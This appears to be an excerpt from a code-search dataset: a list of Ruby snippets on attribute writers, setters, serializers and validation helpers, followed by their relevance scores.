"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def mobile_extension=(mobile_extension)
if !mobile_extension.nil? && mobile_extension.to_s.length > 10
fail ArgumentError, "invalid value for 'mobile_extension', the character length must be smaller than or equal to 10."
end
@mobile_extension = mobile_extension
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attribute(name); end",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def validated_attribute_names(params); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def validate\n validate_string_attributes\n end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
